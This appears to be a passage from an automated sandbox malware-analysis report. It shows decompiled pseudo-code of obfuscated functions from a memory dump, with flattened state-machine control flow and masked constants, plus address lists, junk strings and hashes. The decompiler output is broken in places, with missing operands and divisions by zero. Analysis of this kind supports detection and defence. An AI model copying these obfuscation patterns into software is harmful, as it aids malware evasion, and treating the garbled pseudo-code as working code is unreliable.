								_t854 =  !=  ? 0xc6135b8 : 0x809a129;
								continue;
							}
							if(_t854 == 0x44fc0cb) {
								_t854 = 0xcfaad0f;
								continue;
							}
							if(_t854 == 0x586e335) {
								_t734 =  *_t760;
								__eflags = _t734;
								if(_t734 == 0) {
									_t821 = 0;
									__eflags = 0;
								} else {
									_t821 = _t760[1];
								}
								E00FA30A2(_v160, _t821, _t760, _a32, _t734, _v48, _v96, _v180, _t853, _v16);
								_t864 =  &(_t864[8]);
								asm("sbb esi, esi");
								_t854 = (_t854 & 0x01d169f5) + 0xaef784f;
								goto L13;
							}
							if(_t854 == 0x772bc2f) {
								_t598 =  &_v20; // 0x92876
								E00FA1934(_t757,  *_t598, _v80, _t853, _t854, _t873, _t729);
								_t854 = 0x809a129;
								goto L13;
							}
							if(_t854 != 0x809a129) {
								L41:
								__eflags = _t854 - 0xeaf6d2a;
								if(_t854 == 0xeaf6d2a) {
									L11:
									return _t757;
								}
								_t729 = _v196;
								continue;
							}
							E00FA1934(_t757, _v264, _v256, _t853, _t854, _t873, _t862);
							goto L11;
						}
						__eflags = _t854 - 0xb000863;
						if(_t854 == 0xb000863) {
							__eflags = E00FA2CC2(_t853, _a24);
							_t854 = 0xaef784f;
							_t731 = 1;
							_t757 =  !=  ? _t731 : _t757;
							L40:
							_t760 = _v204;
							_t818 = 0xc6135b8;
							goto L41;
						}
						__eflags = _t854 - 0xb0ddf6c;
						if(_t854 == 0xb0ddf6c) {
							_t854 = 0x44fc0cb;
							goto L3;
						}
						__eflags = _t854 - _t818;
						if(_t854 == _t818) {
							__eflags =  *_t760;
							if(__eflags == 0) {
								_t739 = _v8;
							} else {
								_push(_v240);
								_push(_v116);
								_v8 = E00FBCD35(0xfa1188, _v140, __eflags);
							}
							_t832 = _v176 | _v32 | _v164 | _v232 | _v200 | _v224 | _v168 | _v152 | _v56;
							_t856 = _a16 & 1;
							__eflags = _t856;
							if(_t856 != 0) {
								__eflags = _t832;
							}
							_push(1);
							_push(_v104);
							_push(1);
							_push(_v100);
							_t853 = E00FB9FF7(_t739, _t832, _v196, _v144, 1, _v252, 1, _a28, _v184);
							_t654 =  &_v76; // 0x92876
							E00FB629F( *_t654, _v8, _v84, _v192, _v92);
							_t864 =  &(_t864[0xe]);
							__eflags = _t853;
							if(_t853 == 0) {
								goto L21;
							} else {
								_v36 = 1;
								E00FA71F1(_v136, _t853, _v244, _v248,  &_v36, 4, _v68);
								_t864 =  &(_t864[5]);
								__eflags = _t856;
								if(_t856 != 0) {
									E00FBDE84(_v228, _v52, _t853,  &_v4, _v236, _v60,  &_v36, _v128);
									_t670 =  &_v36;
									 *_t670 = _v36 | _v44;
									__eflags =  *_t670;
									E00FA71F1(_v260, _t853, _v28, _v212,  &_v36, _v4, _v220);
									_t864 =  &(_t864[0xb]);
								}
								_t854 = 0x586e335;
								goto L13;
							}
						}
						__eflags = _t854 - 0xcc0e244;
						if(__eflags == 0) {
							__eflags = E00FB26F9(_t853, _v12, __eflags) - _v64;
							_t854 =  ==  ? 0xb000863 : 0xaef784f;
							goto L13;
						}
						__eflags = _t854 - 0xcfaad0f;
						if(_t854 != 0xcfaad0f) {
							goto L41;
						}
						_t754 = E00FA70AE(_v148, _v172, _t760, _v40, _t760, _t760, _v132, _v108);
						_t862 = _t754;
						__eflags = _t754;
						_t854 =  !=  ? 0x5ee6bd : 0xeaf6d2a;
						E00FAAE43(0, _v208, _v72);
						_t864 =  &(_t864[8]);
						goto L40;
					}
				}
			}

0x00fc0370
0x00fc037a
0x00fc0388
0x00fc0392
0x00fc0399
0x00fc039d
0x00fc03a4
0x00fc03ab
0x00fc03b2
0x00fc03b9
0x00fc03c0
0x00fc03c1
0x00fc03c8
0x00fc03cf
0x00fc03d0
0x00fc03d1
0x00fc03d6
0x00fc03de
0x00fc03e1
0x00fc03eb
0x00fc03f3
0x00fc03f5
0x00fc03fd
0x00fc0402
0x00fc040a
0x00fc0415
0x00fc041d
0x00fc0428
0x00fc0433
0x00fc043b
0x00fc0446
0x00fc0451
0x00fc045c
0x00fc0467
0x00fc047b
0x00fc0482
0x00fc0487
0x00fc0499
0x00fc04a2
0x00fc04ad
0x00fc04b5
0x00fc04bd
0x00fc04c2
0x00fc04ca
0x00fc04d2
0x00fc04d7
0x00fc04df
0x00fc04e7
0x00fc04ef
0x00fc04f7
0x00fc04fc
0x00fc0501
0x00fc0506
0x00fc050e
0x00fc0516
0x00fc051b
0x00fc0527
0x00fc052a
0x00fc052e
0x00fc0536
0x00fc053e
0x00fc0542
0x00fc0547
0x00fc054f
0x00fc055a
0x00fc0565
0x00fc0572
0x00fc0580
0x00fc0585
0x00fc058b
0x00fc0593
0x00fc0598
0x00fc05a0
0x00fc05b2
0x00fc05b7
0x00fc05c0
0x00fc05cb
0x00fc05d8
0x00fc05d9
0x00fc05dd
0x00fc05e2
0x00fc05ea
0x00fc05f2
0x00fc05fa
0x00fc0602
0x00fc060f
0x00fc0613
0x00fc061b
0x00fc0626
0x00fc0631
0x00fc063c
0x00fc0647
0x00fc0652
0x00fc065d
0x00fc0668
0x00fc0673
0x00fc067e
0x00fc0686
0x00fc0690
0x00fc0694
0x00fc069c
0x00fc06a4
0x00fc06b1
0x00fc06b5
0x00fc06bd
0x00fc06c5
0x00fc06cd
0x00fc06d2
0x00fc06d7
0x00fc06dc
0x00fc06e4
0x00fc06ec
0x00fc06f1
0x00fc06f6
0x00fc06fe
0x00fc0706
0x00fc0714
0x00fc0718
0x00fc0720
0x00fc0728
0x00fc0735
0x00fc0739
0x00fc0741
0x00fc0746
0x00fc074e
0x00fc0756
0x00fc075e
0x00fc0766
0x00fc076e
0x00fc0776
0x00fc0780
0x00fc0788
0x00fc0790
0x00fc0798
0x00fc07a0
0x00fc07a8
0x00fc07b0
0x00fc07b8
0x00fc07c0
0x00fc07c8
0x00fc07d7
0x00fc07da
0x00fc07db
0x00fc07df
0x00fc07e7
0x00fc07ef
0x00fc07f7
0x00fc0806
0x00fc080a
0x00fc0812
0x00fc081a
0x00fc0822
0x00fc082a
0x00fc0835
0x00fc0840
0x00fc084b
0x00fc0856
0x00fc085e
0x00fc0866
0x00fc0873
0x00fc0877
0x00fc087f
0x00fc0895
0x00fc089c
0x00fc08a7
0x00fc08b2
0x00fc08bd
0x00fc08c8
0x00fc08d3
0x00fc08db
0x00fc08e0
0x00fc08e5
0x00fc08ed
0x00fc08f5
0x00fc0900
0x00fc090b
0x00fc0916
0x00fc0928
0x00fc092b
0x00fc092f
0x00fc0937
0x00fc093f
0x00fc0947
0x00fc094f
0x00fc0954
0x00fc0959
0x00fc0961
0x00fc096c
0x00fc0977
0x00fc097f
0x00fc098a
0x00fc099d
0x00fc09a4
0x00fc09af
0x00fc09ba
0x00fc09c5
0x00fc09cf
0x00fc09da
0x00fc09e5
0x00fc09fa
0x00fc09fd
0x00fc0a0d
0x00fc0a0e
0x00fc0a17
0x00fc0a22
0x00fc0a2d
0x00fc0a38
0x00fc0a43
0x00fc0a4e
0x00fc0a56
0x00fc0a5b
0x00fc0a6a
0x00fc0a6e
0x00fc0a76
0x00fc0a81
0x00fc0a8c
0x00fc0a97
0x00fc0a9f
0x00fc0aa7
0x00fc0aac
0x00fc0ab4
0x00fc0abc
0x00fc0ac4
0x00fc0acc
0x00fc0ad4
0x00fc0adc
0x00fc0ae4
0x00fc0aef
0x00fc0af7
0x00fc0b02
0x00fc0b0d
0x00fc0b15
0x00fc0b20
0x00fc0b2b
0x00fc0b36
0x00fc0b41
0x00fc0b55
0x00fc0b56
0x00fc0b5f
0x00fc0b6a
0x00fc0b72
0x00fc0b7e
0x00fc0b82
0x00fc0b87
0x00fc0b8f
0x00fc0b9a
0x00fc0ba5
0x00fc0bb0
0x00fc0bc4
0x00fc0bc5
0x00fc0bcc
0x00fc0bd7
0x00fc0be2
0x00fc0bea
0x00fc0bf2
0x00fc0bfa
0x00fc0bff
0x00fc0c09
0x00fc0c1f
0x00fc0c26
0x00fc0c31
0x00fc0c3c
0x00fc0c44
0x00fc0c4f
0x00fc0c57
0x00fc0c5f
0x00fc0c67
0x00fc0c6f
0x00fc0c77
0x00fc0c82
0x00fc0c8a
0x00fc0c95
0x00fc0ca0
0x00fc0ca8
0x00fc0cb3
0x00fc0cbe
0x00fc0ccd
0x00fc0cd0
0x00fc0cd4
0x00fc0cdc
0x00fc0ce4
0x00fc0ce9
0x00fc0cf1
0x00fc0cf9
0x00fc0d01
0x00fc0d0e
0x00fc0d12
0x00fc0d1a
0x00fc0d1f
0x00fc0d27
0x00fc0d2f
0x00fc0d37
0x00fc0d3f
0x00fc0d47
0x00fc0d5a
0x00fc0d61
0x00fc0d6c
0x00fc0d77
0x00fc0d82
0x00fc0d8d
0x00fc0d9d
0x00fc0da1
0x00fc0da6
0x00fc0dab
0x00fc0db3
0x00fc0dbe
0x00fc0dc9
0x00fc0dd4
0x00fc0ddc
0x00fc0de4
0x00fc0dec
0x00fc0df4
0x00fc0dff
0x00fc0e0a
0x00fc0e15
0x00fc0e27
0x00fc0e2c
0x00fc0e33
0x00fc0e3e
0x00fc0e49
0x00fc0e54
0x00fc0e5f
0x00fc0e6c
0x00fc0e76
0x00fc0e7a
0x00fc0e82
0x00fc0e8a
0x00fc0e92
0x00fc0e9a
0x00fc0ea2
0x00fc0ea9
0x00fc0eb0
0x00fc0eb0
0x00fc0eb5
0x00fc0eb5
0x00fc0eb9
0x00fc0eb9
0x00fc0eb9
0x00fc0ebf
0x00000000
0x00000000
0x00fc0ec5
0x00fc1004
0x00fc100a
0x00fc100a
0x00fc0f35
0x00fc0f35
0x00000000
0x00fc0f35
0x00fc0ed1
0x00fc0f99
0x00fc0fd4
0x00fc0fd9
0x00fc0fdd
0x00fc0fe0
0x00fc0fe2
0x00fc0feb
0x00fc0ff0
0x00000000
0x00fc0ff0
0x00fc0edd
0x00fc0f8f
0x00000000
0x00fc0f8f
0x00fc0ee9
0x00fc0f3e
0x00fc0f40
0x00fc0f42
0x00fc0f49
0x00fc0f49
0x00fc0f44
0x00fc0f44
0x00fc0f44
0x00fc0f75
0x00fc0f7a
0x00fc0f7f
0x00fc0f87
0x00000000
0x00fc0f87
0x00fc0ef1
0x00fc0f22
0x00fc0f2a
0x00fc0f30
0x00000000
0x00fc0f30
0x00fc0ef9
0x00fc1280
0x00fc1280
0x00fc1286
0x00fc0f11
0x00fc0f1a
0x00fc0f1a
0x00fc0eb5
0x00000000
0x00fc0eb5
0x00fc0f08
0x00000000
0x00fc0f0d
0x00fc1014
0x00fc101a
0x00fc126a
0x00fc126c
0x00fc1273
0x00fc1274
0x00fc1277
0x00fc1277
0x00fc127b
0x00000000
0x00fc127b
0x00fc1020
0x00fc1026
0x00fc1252
0x00000000
0x00fc1252
0x00fc102c
0x00fc102e
0x00fc10c7
0x00fc10ca
0x00fc10f3
0x00fc10cc
0x00fc10cc
0x00fc10d5
0x00fc10ea
0x00fc10ea
0x00fc112a
0x00fc1131
0x00fc1131
0x00fc1133
0x00fc1135
0x00fc1135
0x00fc113b
0x00fc113c
0x00fc1143
0x00fc1144
0x00fc117c
0x00fc118c
0x00fc1193
0x00fc1198
0x00fc119b
0x00fc119d
0x00000000
0x00fc11a3
0x00fc11af
0x00fc11cf
0x00fc11d4
0x00fc11d7
0x00fc11d9
0x00fc1209
0x00fc121b
0x00fc121b
0x00fc121b
0x00fc1240
0x00fc1245
0x00fc1245
0x00fc1248
0x00000000
0x00fc1248
0x00fc119d
0x00fc1034
0x00fc103a
0x00fc10b8
0x00fc10bf
0x00000000
0x00fc10bf
0x00fc103c
0x00fc1042
0x00000000
0x00000000
0x00fc106e
0x00fc107e
0x00fc1080
0x00fc108c
0x00fc1091
0x00fc1096
0x00000000
0x00fc1096
0x00fc0eb5

Strings

v(, xrefs: 00FC0F22
Ox, xrefs: 00FC126C
M?Dc, xrefs: 00FC0D1F
]^, xrefs: 00FC0DD4
yg6W, xrefs: 00FC04E7
O:q, xrefs: 00FC08D3
&JV, xrefs: 00FC08B2
g@, xrefs: 00FC04A2
x/, xrefs: 00FC0B15
M?Dcyg6W, xrefs: 00FC0D09
d, xrefs: 00FC0CE9
Ox, xrefs: 00FC10B3
k/, xrefs: 00FC03F5
Ox, xrefs: 00FC0EB9
^2N, xrefs: 00FC0856

Memory Dump Source

Source File: 00000000.00000002.596698488.0000000000FA0000.00000040.00000010.sdmp, Offset: 00FA0000, based on PE: true

Yara matches

Similarity

API ID:
String ID: &JV$M?Dc$M?Dcyg6W$O:q$Ox$Ox$Ox$]^$^2N$g@$k/$v($yg6W$d$x/
API String ID: 0-229219556
Opcode ID: 6b7fbc53c99e88f52ab3013dfbebd67456fb5edfee2ab61cb7d9ad7bba5650a5
Instruction ID: a3c466493f502e0ffaef261147af68731e55bc8887fbe34df209df587189e665
Opcode Fuzzy Hash: 6b7fbc53c99e88f52ab3013dfbebd67456fb5edfee2ab61cb7d9ad7bba5650a5
Instruction Fuzzy Hash: 57721EB15093818FD3B8CF25C94AB8BBBE1BBC4714F108A1DE5DA96220D7B48949DF43

Uniqueness

Uniqueness Score: -1.00%

Function 00FB590E, Relevance: 16.7, Strings: 13, Instructions: 421
COMMONCrypto

Download Yara Rule

C-Code - Quality: 92%

			E00FB590E() {
				char _v520;
				char _v1040;
				char _v1560;
				signed int _v1564;
				signed int _v1568;
				intOrPtr _v1572;
				intOrPtr _v1576;
				char _v1580;
				signed int _v1584;
				signed int _v1588;
				signed int _v1592;
				signed int _v1596;
				signed int _v1600;
				signed int _v1604;
				signed int _v1608;
				signed int _v1612;
				signed int _v1616;
				signed int _v1620;
				signed int _v1624;
				signed int _v1628;
				signed int _v1632;
				signed int _v1636;
				signed int _v1640;
				signed int _v1644;
				signed int _v1648;
				signed int _v1652;
				signed int _v1656;
				signed int _v1660;
				signed int _v1664;
				signed int _v1668;
				signed int _v1672;
				signed int _v1676;
				signed int _v1680;
				signed int _v1684;
				signed int _v1688;
				signed int _v1692;
				signed int _v1696;
				signed int _v1700;
				signed int _v1704;
				signed int _v1708;
				signed int _v1712;
				signed int _v1716;
				signed int _v1720;
				signed int _v1724;
				signed int _v1728;
				signed int _v1732;
				signed int _v1736;
				signed int _v1740;
				signed int _v1744;
				signed int _v1748;
				signed int _v1752;
				signed int _v1756;
				signed int _v1760;
				signed int _v1764;
				signed int _v1768;
				signed int _v1772;
				void* _t486;
				void* _t491;
				intOrPtr* _t502;
				signed int _t507;
				intOrPtr* _t509;
				void* _t523;
				void* _t571;
				signed int* _t576;

				_t576 =  &_v1772;
				_v1576 = 0x6c0937;
				_v1568 = 0;
				_v1564 = 0;
				_v1572 = 0xfa7be3;
				_v1684 = 0xa1225e;
				_v1684 = _v1684 * 0x51;
				_t571 = 0xcaba985;
				_v1684 = _v1684 ^ 0xec4ee212;
				_v1684 = _v1684 ^ 0xdeb53d85;
				_v1720 = 0xe8c45a;
				_v1720 = _v1720 | 0xf7adb3a9;
				_v1720 = _v1720 + 0x22cb;
				_v1720 = _v1720 ^ 0x77ee1ac7;
				_v1628 = 0x3e0abb;
				_v1628 = _v1628 | 0xadd487ce;
				_v1628 = _v1628 ^ 0xadfe8ffd;
				_v1724 = 0xa9a1a9;
				_v1724 = _v1724 + 0x3c79;
				_v1724 = _v1724 << 4;
				_v1724 = _v1724 ^ 0xfba865cd;
				_v1724 = _v1724 ^ 0xf13587ec;
				_v1640 = 0xd94aa8;
				_push(0x54);
				_v1584 = 0;
				_push(0x30);
				_v1640 = _v1640 * 0x32;
				_v1640 = _v1640 ^ 0x2a75666c;
				_v1656 = 0xd7be76;
				_v1656 = _v1656 | 0x34323abd;
				_v1656 = _v1656 + 0xffff2f67;
				_v1656 = _v1656 ^ 0x34f4d203;
				_v1624 = 0xd0dbb;
				_v1624 = _v1624 | 0x70664d6a;
				_v1624 = _v1624 ^ 0x706fa006;
				_v1732 = 0x536538;
				_v1732 = _v1732 | 0x24a4777c;
				_v1732 = _v1732 ^ 0x923db7c3;
				_v1732 = _v1732 + 0x4861;
				_v1732 = _v1732 ^ 0xb6cd66e1;
				_v1748 = 0x993ccf;
				_v1748 = _v1748 + 0xffffaa41;
				_v1748 = _v1748 >> 0xf;
				_v1748 = _v1748 >> 8;
				_v1748 = _v1748 ^ 0x00061c85;
				_v1616 = 0xb9c354;
				_v1616 = _v1616 | 0x2561c52e;
				_v1616 = _v1616 ^ 0x25f7eb7a;
				_v1604 = 0xa28582;
				_v1604 = _v1604 / 0;
				_v1604 = _v1604 ^ 0x00043a3e;
				_v1772 = 0x2f2960;
				_t84 =  &_v1772; // 0x2f2960
				_v1772 =  *_t84 / 0;
				_v1772 = _v1772 + 0xffff6c9f;
				_v1772 = _v1772 >> 2;
				_v1772 = _v1772 ^ 0x000d3123;
				_v1600 = 0xfa6674;
				_v1600 = _v1600 >> 9;
				_v1600 = _v1600 ^ 0x0007cbd1;
				_v1716 = 0x560e41;
				_v1716 = _v1716 << 5;
				_v1716 = _v1716 + 0xffff30ad;
				_v1716 = _v1716 ^ 0xf856c5ca;
				_v1716 = _v1716 ^ 0xf29d60ab;
				_v1672 = 0x1d03b2;
				_v1672 = _v1672 >> 7;
				_v1672 = _v1672 ^ 0xe2467494;
				_v1672 = _v1672 ^ 0xe240383a;
				_v1740 = 0xd45536;
				_v1740 = _v1740 << 3;
				_push(0x70);
				_v1740 = _v1740 / 0;
				_v1740 = _v1740 + 0xffff99e5;
				_v1740 = _v1740 ^ 0x00077f48;
				_v1708 = 0x37049a;
				_push(0x4e);
				_v1708 = _v1708 * 0x39;
				_v1708 = _v1708 * 0x32;
				_v1708 = _v1708 | 0x2af70c33;
				_v1708 = _v1708 ^ 0x6efda064;
				_v1752 = 0xbab6bc;
				_v1752 = _v1752 << 5;
				_v1752 = _v1752 + 0xffffe6d4;
				_v1752 = _v1752 + 0xf210;
				_v1752 = _v1752 ^ 0x175ee840;
				_v1608 = 0x31e74e;
				_v1608 = _v1608 + 0x87a0;
				_v1608 = _v1608 ^ 0x003933ce;
				_v1760 = 0x96d30d;
				_v1760 = _v1760 / 0;
				_v1760 = _v1760 << 0xb;
				_v1760 = _v1760 ^ 0x06fe780e;
				_v1760 = _v1760 ^ 0x0c3ab2ae;
				_v1768 = 0xcb4538;
				_v1768 = _v1768 << 6;
				_v1768 = _v1768 << 8;
				_v1768 = _v1768 ^ 0xf0045857;
				_v1768 = _v1768 ^ 0x214cdbb6;
				_v1688 = 0x3364c3;
				_v1688 = _v1688 | 0xfc10ce05;
				_v1688 = _v1688 >> 0xc;
				_v1688 = _v1688 ^ 0x0002c610;
				_v1592 = 0x6206a4;
				_push(0x68);
				_v1592 = _v1592 / 0;
				_v1592 = _v1592 ^ 0x00096e0c;
				_v1744 = 0x9a9470;
				_push(0x22);
				_v1744 = _v1744 / 0;
				_v1744 = _v1744 / 0;
				_v1744 = _v1744 + 0xe629;
				_v1744 = _v1744 ^ 0x000750d6;
				_v1712 = 0x14816c;
				_v1712 = _v1712 >> 6;
				_v1712 = _v1712 << 8;
				_v1712 = _v1712 >> 0xa;
				_v1712 = _v1712 ^ 0x0006d353;
				_v1728 = 0x517bb7;
				_v1728 = _v1728 << 0xd;
				_v1728 = _v1728 ^ 0x3d335e2b;
				_v1728 = _v1728 << 7;
				_v1728 = _v1728 ^ 0x22dfec30;
				_v1636 = 0x2e04b8;
				_v1636 = _v1636 >> 0xc;
				_v1636 = _v1636 ^ 0x000a8a1f;
				_v1644 = 0x4d797d;
				_v1644 = _v1644 + 0xffffc264;
				_v1644 = _v1644 ^ 0x0042207f;
				_v1736 = 0x555718;
				_push(0x11);
				_push(0x66);
				_v1736 = _v1736 / 0;
				_push(5);
				_v1736 = _v1736 / 0;
				_v1736 = _v1736 << 0xf;
				_v1736 = _v1736 ^ 0x064b7648;
				_v1692 = 0x69628a;
				_v1692 = _v1692 + 0xffff1f54;
				_v1692 = _v1692 + 0x2631;
				_v1692 = _v1692 ^ 0x00677b46;
				_v1620 = 0xa26def;
				_v1620 = _v1620 + 0xffff3fe2;
				_v1620 = _v1620 ^ 0x00a11335;
				_v1676 = 0xedbb26;
				_v1676 = _v1676 ^ 0x1d2520cb;
				_push(0x24);
				_v1676 = _v1676 / 0;
				_v1676 = _v1676 ^ 0x05f45423;
				_v1696 = 0xcbe6d7;
				_v1696 = _v1696 | 0x05e38ba5;
				_v1696 = _v1696 + 0x750f;
				_v1696 = _v1696 + 0xffff8782;
				_v1696 = _v1696 ^ 0x05e5f613;
				_v1704 = 0x6f7b13;
				_v1704 = _v1704 ^ 0x2497e687;
				_v1704 = _v1704 | 0xe6febff7;
				_v1704 = _v1704 ^ 0xe6fc654b;
				_v1756 = 0xffd234;
				_v1756 = _v1756 | 0x2784bbb9;
				_push(0x7b);
				_v1756 = _v1756 / 0;
				_v1756 = _v1756 << 0xa;
				_v1756 = _v1756 ^ 0x71c6b343;
				_v1700 = 0xc7eab6;
				_v1700 = _v1700 ^ 0x1d8d41ba;
				_v1700 = _v1700 * 0x62;
				_v1700 = _v1700 >> 3;
				_v1700 = _v1700 ^ 0x06d58bd0;
				_v1764 = 0xbf82d0;
				_v1764 = _v1764 + 0xa841;
				_v1764 = _v1764 ^ 0x5b0be419;
				_v1764 = _v1764 / 0;
				_v1764 = _v1764 ^ 0x00b8f45b;
				_v1648 = 0xb1e911;
				_v1648 = _v1648 >> 0xa;
				_v1648 = _v1648 ^ 0x0001dabf;
				_v1664 = 0x82c0c8;
				_v1664 = _v1664 | 0x5049715d;
				_v1664 = _v1664 << 0x10;
				_v1664 = _v1664 ^ 0xf1d7801f;
				_v1596 = 0x501912;
				_v1596 = _v1596 >> 2;
				_v1596 = _v1596 ^ 0x0011e0e6;
				_v1680 = 0xb74d6a;
				_v1680 = _v1680 << 2;
				_v1680 = _v1680 + 0xe7bf;
				_v1680 = _v1680 ^ 0x02d8e76f;
				_v1632 = 0xb33cbe;
				_push(9);
				_t507 = _v1584;
				_v1632 = _v1632 / 0;
				_v1632 = _v1632 ^ 0x00185539;
				_v1588 = 0xe243c5;
				_v1588 = _v1588 * 0x6e;
				_v1588 = _v1588 ^ 0x6134a095;
				_v1652 = 0xdd8522;
				_v1652 = _v1652 >> 0xd;
				_v1652 = _v1652 + 0xffff03a2;
				_v1652 = _v1652 ^ 0xfff3aaff;
				_v1660 = 0x14cb16;
				_v1660 = _v1660 + 0xf2a5;
				_v1660 = _v1660 ^ 0xf73fdfe0;
				_v1660 = _v1660 ^ 0xf72952af;
				_v1668 = 0x99f37;
				_v1668 = _v1668 | 0xf3ff6f1f;
				_v1668 = _v1668 ^ 0xf3f97928;
				_v1612 = 0x42a852;
				_v1612 = _v1612 + 0xffffd393;
				_v1612 = _v1612 ^ 0x004ec082;
				while(1) {
					L1:
					_t523 = 0x5c;
					while(1) {
						L2:
						_t486 = 0x60246ae;
						do {
							L3:
							if(_t571 == 0x2843c29) {
								_push(_v1744);
								_push(_v1592);
								__eflags = E00FA975A(0xfa10a0,  &_v1580, _v1628, _v1712, _v1720, _v1728, _v1636, _v1644, _v1736, _v1692, 0xfa10a0, 0xfa10a0, E00FBCD35(0xfa10a0, _v1688, __eflags));
								_t571 =  ==  ? 0x60246ae : 0x7a70633;
								E00FB629F(_v1620, _t487, _v1676, _v1696, _v1704);
								_t576 =  &(_t576[0x10]);
								_t486 = 0x60246ae;
								_t523 = 0x5c;
								goto L17;
							} else {
								if(_t571 == 0x46efd61) {
									_push(_v1604);
									_push(_v1616);
									_t491 = E00FBCD35(0xfa1020, _v1748, __eflags);
									E00FC23F2( &_v1040, __eflags);
									E00FBE35F( *0xfc5218 + 0x18, __eflags, _v1772, _v1600, _v1716, 0x104, _v1672,  &_v1560,  &_v1040, _t491, _v1740,  *0xfc5218 + 0x234, _v1708);
									E00FB629F(_v1752, _t491, _v1608, _v1760, _v1768);
									_t576 =  &(_t576[0x10]);
									_t571 = 0xa4d7bc3;
									goto L1;
								} else {
									if(_t571 == _t486) {
										_t502 = E00FC00C1( &_v1560, _v1648, _v1724, _v1580, 2 + E00FAB01D(_v1756, _v1700,  &_v1560, _v1764) * 2, _v1664, _v1596, _v1680, _v1632, _v1588, _t507);
										_t576 =  &(_t576[0xc]);
										__eflags = _t502;
										_t571 = 0xaadd24e;
										_v1584 = 0 | __eflags == 0x00000000;
										while(1) {
											L1:
											_t523 = 0x5c;
											goto L2;
										}
									} else {
										if(_t571 == 0xa4d7bc3) {
											_t509 =  *0xfc5218 + 0x234;
											while(1) {
												__eflags =  *_t509 - _t523;
												if(__eflags == 0) {
													break;
												}
												_t509 = _t509 + 2;
												__eflags = _t509;
											}
											_t507 = _t509 + 2;
											_t571 = 0x2843c29;
											goto L2;
										} else {
											if(_t571 == 0xaadd24e) {
												E00FA9FE4(_v1580, _v1652, _v1660, _v1668, _v1612);
											} else {
												if(_t571 != 0xcaba985) {
													goto L17;
												} else {
													E00FAB3B4(_v1640, _t523, _v1656, _t523, _v1624,  &_v520, _v1732, _v1684);
													_t576 =  &(_t576[7]);
													_t571 = 0x46efd61;
													while(1) {
														L1:
														_t523 = 0x5c;
														L2:
														_t486 = 0x60246ae;
														goto L3;
													}
												}
											}
										}
									}
								}
							}
							L20:
							return _v1584;
							L17:
							__eflags = _t571 - 0x7a70633;
						} while (__eflags != 0);
						goto L20;
					}
				}
			}

0x00fb590e
0x00fb5914
0x00fb5921
0x00fb592a
0x00fb5931
0x00fb593c
0x00fb594d
0x00fb5951
0x00fb5956
0x00fb595e
0x00fb5966
0x00fb596e
0x00fb5976
0x00fb597e
0x00fb5986
0x00fb5991
0x00fb599c
0x00fb59a7
0x00fb59af
0x00fb59b7
0x00fb59bc
0x00fb59c4
0x00fb59cc
0x00fb59df
0x00fb59e1
0x00fb59e9
0x00fb59eb
0x00fb59f2
0x00fb59fd
0x00fb5a08
0x00fb5a13
0x00fb5a1e
0x00fb5a29
0x00fb5a34
0x00fb5a3f
0x00fb5a4a
0x00fb5a52
0x00fb5a5a
0x00fb5a62
0x00fb5a6a
0x00fb5a72
0x00fb5a7a
0x00fb5a82
0x00fb5a87
0x00fb5a8c
0x00fb5a94
0x00fb5a9f
0x00fb5aaa
0x00fb5ab5
0x00fb5acb
0x00fb5ad2
0x00fb5add
0x00fb5ae5
0x00fb5aec
0x00fb5af0
0x00fb5af8
0x00fb5afd
0x00fb5b05
0x00fb5b10
0x00fb5b18
0x00fb5b23
0x00fb5b2b
0x00fb5b30
0x00fb5b38
0x00fb5b40
0x00fb5b48
0x00fb5b50
0x00fb5b55
0x00fb5b5d
0x00fb5b67
0x00fb5b6f
0x00fb5b78
0x00fb5b7f
0x00fb5b83
0x00fb5b8b
0x00fb5b93
0x00fb5ba0
0x00fb5ba2
0x00fb5bab
0x00fb5baf
0x00fb5bb7
0x00fb5bbf
0x00fb5bc7
0x00fb5bcc
0x00fb5bd4
0x00fb5bdc
0x00fb5be4
0x00fb5bef
0x00fb5bfa
0x00fb5c05
0x00fb5c15
0x00fb5c19
0x00fb5c1e
0x00fb5c26
0x00fb5c2e
0x00fb5c36
0x00fb5c3b
0x00fb5c40
0x00fb5c48
0x00fb5c50
0x00fb5c58
0x00fb5c60
0x00fb5c65
0x00fb5c6d
0x00fb5c82
0x00fb5c84
0x00fb5c8d
0x00fb5c98
0x00fb5ca7
0x00fb5ca9
0x00fb5cb6
0x00fb5cba
0x00fb5cc2
0x00fb5cca
0x00fb5cd2
0x00fb5cd7
0x00fb5cdc
0x00fb5ce1
0x00fb5ce9
0x00fb5cf1
0x00fb5cf6
0x00fb5cfe
0x00fb5d03
0x00fb5d0b
0x00fb5d16
0x00fb5d1e
0x00fb5d29
0x00fb5d34
0x00fb5d3f
0x00fb5d4c
0x00fb5d58
0x00fb5d5d
0x00fb5d5f
0x00fb5d6c
0x00fb5d6e
0x00fb5d74
0x00fb5d79
0x00fb5d81
0x00fb5d89
0x00fb5d91
0x00fb5d99
0x00fb5da1
0x00fb5dac
0x00fb5db7
0x00fb5dc2
0x00fb5dca
0x00fb5dd9
0x00fb5ddb
0x00fb5de1
0x00fb5de9
0x00fb5df1
0x00fb5df9
0x00fb5e01
0x00fb5e09
0x00fb5e11
0x00fb5e19
0x00fb5e21
0x00fb5e29
0x00fb5e31
0x00fb5e39
0x00fb5e48
0x00fb5e4a
0x00fb5e50
0x00fb5e55
0x00fb5e5d
0x00fb5e65
0x00fb5e73
0x00fb5e77
0x00fb5e7c
0x00fb5e84
0x00fb5e8c
0x00fb5e94
0x00fb5ea2
0x00fb5ea6
0x00fb5eae
0x00fb5eb9
0x00fb5ec1
0x00fb5ecc
0x00fb5ed4
0x00fb5edc
0x00fb5ee1
0x00fb5ee9
0x00fb5ef4
0x00fb5efc
0x00fb5f07
0x00fb5f0f
0x00fb5f14
0x00fb5f1c
0x00fb5f24
0x00fb5f3d
0x00fb5f42
0x00fb5f49
0x00fb5f50
0x00fb5f5b
0x00fb5f6e
0x00fb5f75
0x00fb5f80
0x00fb5f8b
0x00fb5f93
0x00fb5f9e
0x00fb5fa9
0x00fb5fb4
0x00fb5fbf
0x00fb5fca
0x00fb5fd5
0x00fb5fdd
0x00fb5fe5
0x00fb5fed
0x00fb5ff8
0x00fb6003
0x00fb600e
0x00fb600e
0x00fb6010
0x00fb6011
0x00fb6011
0x00fb6011
0x00fb6016
0x00fb6016
0x00fb6018
0x00fb61c7
0x00fb61d0
0x00fb6221
0x00fb6244
0x00fb6247
0x00fb624c
0x00fb624f
0x00fb6256
0x00000000
0x00fb601e
0x00fb6024
0x00fb6122
0x00fb612e
0x00fb6139
0x00fb6147
0x00fb619b
0x00fb61b5
0x00fb61ba
0x00fb61bd
0x00000000
0x00fb602a
0x00fb602c
0x00fb6102
0x00fb6109
0x00fb610c
0x00fb610e
0x00fb6116
0x00fb600e
0x00fb600e
